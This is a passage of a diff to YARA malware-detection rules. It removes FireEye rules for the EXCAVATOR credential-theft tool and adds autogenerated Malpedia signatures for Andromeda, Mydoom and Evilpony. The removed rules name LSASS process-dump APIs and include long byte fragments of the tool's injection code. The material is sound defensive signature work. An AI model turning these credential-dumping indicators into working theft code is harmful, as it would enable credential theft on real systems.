A0 01 00 00 5D C3 }
+		$sequence_0 = { 8b5508 83c201 895508 8d45f4 }
+		$sequence_1 = { c705????????00000000 a1???????? 0305???????? 8945fc 8b4d0c }
+		$sequence_2 = { eb17 837df400 7511 6a01 e8???????? }
+		$sequence_3 = { 50 e8???????? 83c410 8b4df8 51 6a00 8b15???????? }
+		$sequence_4 = { 7507 b801000000 eb0d 8b4dfc 83c101 }
+		$sequence_5 = { 52 6a00 ff15???????? 68???????? 68???????? }
+		$sequence_6 = { e8???????? 83c404 0fbed8 c1e304 }
+		$sequence_7 = { 68e8030000 ff15???????? e9???????? 833d????????00 741e 8b0d???????? }
+		$sequence_8 = { 8b5510 8a45f9 8802 8b4d10 83c101 }
+		$sequence_9 = { 8b0d???????? 51 ff15???????? 6aff 8b15???????? }
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and any of ($bytes*)
+		7 of them and filesize <98304
 }
-rule FIREEYE_RT_APT_Hacktool_Win64_EXCAVATOR_1 : FILE
+rule MALPEDIA_Win_Andromeda_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "e593b589-747d-53c2-a39a-57485e4f7641"
-		date = "2020-11-30"
-		date = "2020-11-30"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/APT_HackTool_Win64_EXCAVATOR_1.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "6a9a114928554c26675884eeb40cc01b"
-		logic_hash = "aa06628ddef0f95c4217b97a3476a0ee12e00d04c4827a512730598f3c80f1f6"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "06e8a020-0fd4-5226-bdbc-44028f668872"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.andromeda_auto.yar#L1-L309"
+		license_url = "N/A"
+		logic_hash = "b22436b7aba3ed23bef95d1f14e5fb10f193d85aea0247573fcd01991d4926fb"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$api1 = "PssCaptureSnapshot" fullword
-		$api2 = "MiniDumpWriteDump" fullword
-		$dump = { BA FD 03 00 AC [0-8] 41 B8 1F 00 10 00 48 8B ?? FF 15 [4] 85 C0 0F 85 [2] 00 00 [0-2] 48 8D 05 [5] 89 ?? 24 30 ( C7 44 24 28 80 00 00 00 48 8D 0D ?? ?? ?? ?? | 48 8D 0D ?? ?? ?? ?? C7 44 24 28 80 00 00 00 ) 45 33 C9 [0-5] 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 [0-10] FF 15 [4] 48 8B ?? 48 83 F8 FF ( 74 | 0F 84 ) [1-4] 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 30 ( 41 B9 02 00 00 00 | 44 8D 4D 02 ) ?? 89 ?? 24 28 4C 8B ?? 8B [2] 89 ?? 24 20 FF 15 [4] 48 8B ?? FF 15 [4] 48 8B ?? FF 15 [4] FF 15 [4] 48 8B 54 24 ?? 48 8B C8 FF 15 }
-		$lsass = { 6C 73 61 73 [6] 73 2E 65 78 [6] 65 }
+		$sequence_0 = { 74cf ebcf 33c0 33db 33c9 33d2 8b7d10 }
+		$sequence_1 = { 8b7508 33db 368a942900ffffff 02c2 020433 368ab42800ffffff }
+		$sequence_2 = { 3688b42800ffffff 3688942b00ffffff 02d6 81e2ff000000 368a942a00ffffff 301439 }
+		$sequence_3 = { 368a942a00ffffff 301439 41 3b4d14 75c3 }
+		$sequence_4 = { 368ab42800ffffff 3688b42900ffffff 3688942800ffffff fec1 7408 }
+		$sequence_5 = { 368a942800ffffff 02da 368ab42b00ffffff 3688b42800ffffff 3688942b00ffffff }
+		$sequence_6 = { 8d7dfc b8fcfdfeff fd ab 2d04040404 e2f8 fc }
+		$sequence_7 = { 8bec 81c400ffffff 60 b940000000 8d7dfc b8fcfdfeff }
+		$sequence_8 = { 60 e8???????? 5d 81ed???????? 33c9 }
+		$sequence_9 = { 3c41 0f9dc2 85ca 7404 0420 8806 }
+		$sequence_10 = { 50 e8???????? 83c40c 6800000100 e8???????? }
+		$sequence_11 = { 0fb64601 84c0 7905 0d00ffffff }
+		$sequence_12 = { 8a06 33c9 3c5a 0f9ec1 33d2 }
+		$sequence_13 = { 8d45d0 50 6a01 ff7508 }
+		$sequence_14 = { ff7564 50 6aff 53 56 56 ffd7 }
+		$sequence_15 = { 8b4dfc ff75e4 03c8 51 ff15???????? }
+		$sequence_16 = { 68???????? ff75f4 e8???????? ff75f4 e8???????? 68???????? }
+		$sequence_17 = { 6a00 6a06 6a01 6a02 e8???????? 8945f0 83f8ff }
+		$sequence_18 = { e8???????? 6a06 ff75f8 e8???????? 8d45f4 }
+		$sequence_19 = { ff75f0 e8???????? c7459c44000000 8945d4 }
+		$sequence_20 = { e8???????? 83f800 7526 ff75f8 e8???????? 40 50 }
+		$sequence_21 = { 83f8ff 7466 6a05 ff75f0 }
+		$sequence_22 = { 6a05 ff75f0 e8???????? 83f8ff 7457 33c0 8d7d9c }
+		$sequence_23 = { 8945fc 83f800 0f8476010000 6804010000 6a00 ff35???????? e8???????? }
+		$sequence_24 = { 314508 ff560c 8b7d04 0bd8 81fbb599839e 7503 }
+		$sequence_25 = { 31450c 315dfc ff5634 31450c 81c75853b2b3 }
+		$sequence_26 = { 81ef21cfd856 2bd8 81ff1ac8cfd4 0f84ac000000 }
+		$sequence_27 = { 0f8418010000 8365f000 6850020000 6a08 ff750c ff5604 }
+		$sequence_28 = { ff560c 0faff8 8b456c 8b00 89456c ff5638 0fafd8 }
+		$sequence_29 = { 3d00010000 7322 888405ecfeffff ff560c }
+		$sequence_30 = { 81fb15af295e 0f85ae000000 81ef52eceb06 ff5634 8bd8 81cb15af295e 8b45fc }
+		$sequence_31 = { ff5634 8b4d0c 81c951dbc951 0fafc1 89450c }
 
 	condition:
-		(( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B)) and all of them
+		7 of them and filesize <204800
 }
-rule FIREEYE_RT_Credtheft_Win_EXCAVATOR_1 : FILE
+rule MALPEDIA_Win_Mydoom_Auto : FILE
 {
 	meta:
-		description = "This rule looks for the binary signature of the 'Inject' method found in the main Excavator PE."
-		author = "FireEye"
-		id = "7cabc230-e55b-5096-996a-b6a8c9693bdc"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/CredTheft_Win_EXCAVATOR_1.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "f7d9961463b5110a3d70ee2e97842ed3"
-		logic_hash = "bf4b776f34a1a9aa5438504f63a63ef452a747363de3b70cec52145d777055bd"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "fbb873d9-471c-5df6-b7cb-17b11908448b"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mydoom_auto.yar#L1-L124"
+		license_url = "N/A"
+		logic_hash = "29814c8a4a60df1d6a473af327bca4071707640dfe79f325f53607e3865352f9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 4
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$bytes1 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 20 01 00 00 48 8B 05 75 BF 01 00 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 8D 0D 12 A1 01 00 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 00 FF 15 CB 1F 01 00 48 85 C0 75 1B FF 15 80 1F 01 00 8B D0 48 8D 0D DF A0 01 00 E8 1A FF FF FF 33 C0 E9 B4 02 00 00 48 8D 15 D4 A0 01 00 48 89 9C 24 30 01 00 00 48 8B C8 FF 15 4B 1F 01 00 48 8B D8 48 85 C0 75 19 FF 15 45 1F 01 00 8B D0 48 8D 0D A4 A0 01 00 E8 DF FE FF FF E9 71 02 00 00 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 45 66 66 0F 1F 84 00 00 00 00 00 48 8B 4C 24 60 FF 15 4D 1F 01 00 3B C6 74 22 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 D1 EB 0A 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A0 01 00 48 8D 05 A6 C8 01 00 B9 C8 05 00 00 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 B2 FF 15 CC 1E 01 00 4C 8D 44 24 78 BA 0A 00 00 00 48 8B C8 FF 15 01 1E 01 00 85 C0 0F 84 66 01 00 00 48 8B 4C 24 78 48 8D 45 80 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 D8 1D 01 00 85 C0 0F 84 35 01 00 00 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 50 01 FF 15 5C 1E 01 00 FF 15 06 1E 01 00 4C 8B 44 24 68 33 D2 48 8B C8 FF 15 DE 1D 01 00 48 8B F8 48 85 C0 0F 84 FF 00 00 00 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 50 01 FF 15 25 1E 01 00 85 C0 0F 84 E2 00 00 00 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 6C 1D 01 00 85 C0 0F 84 B1 00 00 00 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C 8D 05 58 39 03 00 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 44 24 30 04 00 08 00 44 89 74 24 28 4C 89 74 24 20 FF 15 0C 1D 01 00 85 C0 74 65 48 8B 4C 24 70 8B 5D 98 FF 15 1A 1D 01 00 48 8B 4D 88 FF 15 10 1D 01 00 48 8B 4D 90 FF 15 06 1D 01 00 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 4E 1D 01 00 48 8B D8 48 85 C0 74 2B 48 8B C8 E8 4E 06 00 00 48 85 C0 74 1E BA FF FF FF FF 48 8B C8 FF 15 3B 1D 01 00 48 8B CB FF 15 CA 1C 01 00 B8 01 00 00 00 EB 24 FF 15 DD 1C 01 00 8B D0 48 8D 0D 58 9E 01 00 E8 77 FC FF FF 48 85 FF 74 09 48 8B CF FF 15 A9 1C 01 00 33 C0 48 8B 9C 24 30 01 00 00 48 8B 4D 10 48 33 CC E8 03 07 00 00 4C 8D 9C 24 20 01 00 00 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
-		$bytes2 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
-		$bytes3 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
-		$bytes4 = { 48 89 74 24 ?? 48 89 7C 24 ?? 4C 89 74 24 ?? 55 48 8D 6C 24 ?? 48 81 EC 20 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 45 ?? 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 ?? 48 8D 0D ?? ?? ?? ?? 4C 89 74 24 ?? 0F 11 45 ?? 41 8B FE 4C 89 74 24 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 ?? 48 89 44 24 ?? 66 0F 6F 15 ?? ?? 01 00 48 8D 05 ?? ?? ?? ?? B9 C8 05 00 00 90 F3 0F 6F 40 ?? 48 8D 40 ?? 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? F3 0F 6F 40 ?? 66 0F EF C2 F3 0F 7F 40 ?? 48 83 E9 01 75 ?? FF 15 ?? ?? ?? ?? 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 45 ?? 41 B9 02 00 00 00 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 02 00 00 00 41 8D 51 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 48 8B C8 41 8D 50 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 ?? 4C 8D 4C 24 ?? 4C 89 74 24 ?? 33 D2 41 B8 00 00 02 00 48 C7 44 24 ?? 08 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 45 ?? 48 89 7D ?? 48 89 44 24 ?? 45 33 C9 4C 89 74 24 ?? 33 D2 4C 89 74 24 ?? C7 44 24 ?? 04 00 08 00 44 89 74 24 ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 8B 5D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA FF FF FF FF 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? B8 01 00 00 00 EB ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 73 ?? 49 8B 7B ?? 4D 8B 73 ?? 49 8B E3 5D C3 }
+		$sequence_0 = { 0f94c2 83f842 0f94c0 09d0 ba00000000 a801 0f8531010000 }
+		$sequence_1 = { 49 c744241000000000 8d85c4fdffff 8944240c 894c2408 }
+		$sequence_2 = { 891c24 e8???????? 85c0 743c 8b85d8feffff 89442404 891c24 }
+		$sequence_3 = { 891c24 e8???????? 83ec04 c744240402000000 }
+		$sequence_4 = { 85c0 89c3 7413 89f6 8dbc2700000000 ff149df8354200 }
+		$sequence_5 = { 8d9dc8f9ffff 891c24 e8???????? 8d8568f9ffff 89442424 89742420 }
+		$sequence_6 = { 83ec58 895df4 8975f8 897dfc 8b7510 0fb74514 668945e6 }
+		$sequence_7 = { 89e5 56 53 83ec10 8b750c 83fe01 }
+		$sequence_8 = { 890424 e8???????? e8???????? 8db406fc2f0000 0fb745e6 }
+		$sequence_9 = { 85d0 7547 85f6 750c 8b0d???????? 85c9 7546 }
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and any of ($bytes*)
+		7 of them and filesize <114688
 }
-rule FIREEYE_RT_Trojan_Win64_Generic_23 : FILE
+rule MALPEDIA_Win_Evilpony_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "470bfeed-e000-58c6-b115-dfa8aea25bef"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/supplemental/yara/Trojan_Win64_Generic_23.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "b66347ef110e60b064474ae746701d4a"
-		logic_hash = "4c1860801b26abbab8c4aea730bf69f388c902083b9945e11e6782af3ab22789"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "e7d929da-c5f9-5c4e-ba1c-7d2c63753499"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.evilpony_auto.yar#L1-L131"
+		license_url = "N/A"
+		logic_hash = "02845c899902aea9d270d9fa0c1670211f713972016e6e56c5e914a4d2e0626d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
